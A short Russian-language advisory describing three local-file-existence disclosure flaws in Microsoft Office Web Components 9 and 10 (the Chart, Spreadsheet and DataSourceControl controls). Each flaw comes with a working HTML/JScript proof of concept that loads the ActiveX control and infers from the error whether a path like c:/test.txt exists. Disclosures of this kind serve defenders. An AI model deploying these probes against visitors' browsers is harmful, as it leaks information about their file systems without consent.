Есть несколько способов проверить существования местных файлов, используя OWC9 и OWC10.

Первая уязвимость находится в компоненте Chart в OWC9 и OWC10. «Load" метод не выполняет проверку защиты на назначенном URL и выдает ошибку когда
переданное имя файла не существует, иначе файл существует.

Пример: 

<object id=»oCS» classid=»clsid:0002E500-0000-0000-C000-000000000046″ style=»display:none»></object>
<!— For OWC10 the clsid is «0002E556-0000-0000-C000-000000000046» —>

<script language=»jscript»>
onload=function () {
try {
oCS.Load(«file://c:/test.txt»);
alert(«File exists!»);
}
catch (oErr) {
alert(«File does not exist.»);
}
}
</script>

Вторая уязвимость находится в компоненте Spreadsheet в OWC10. Свойство «XMLURL» позволяет выполнять переадресацию
к местному файлу — по выдаваемой ошибке
можно определить существует ли он.

Пример:

<object id=»oSP» classid=»clsid:0002E551-0000-0000-C000-000000000046″ style=»display:block»></object>
<script language=»jscript»>
onload=function () {
try {
oSP.XMLURL=»getFile.asp»;
}
catch (oErr) {
alert(oErr.description.indexOf(«valid path»)==-1 ? «File exists!» :
«File does not exist.»);
}
}
</script>

Третья уязвимость находится в компоненте DataSourceControl в OWC10. Свойство «ConnectionFile» не
выполняет проверку на переданном URL. Поэтому
можно указать на местный файл и определить, существует ли он или нет по выдаваемой ошибке.

Пример:

<object id=»oDS» classid=»clsid:0002E553-0000-0000-C000-000000000046″ style=»display:block»></object>
<script language=»jscript»>
onload=function () {
try {
oDS.ConnectionFile=»file://c:/test.txt»;
}
catch (oErr) {
alert(oErr.number==-2146697211 ? «File does not exist.» : «File
exists!»);
}
}
</script>

Уязвимость найдена в OWC 9-10.



Оставить мнение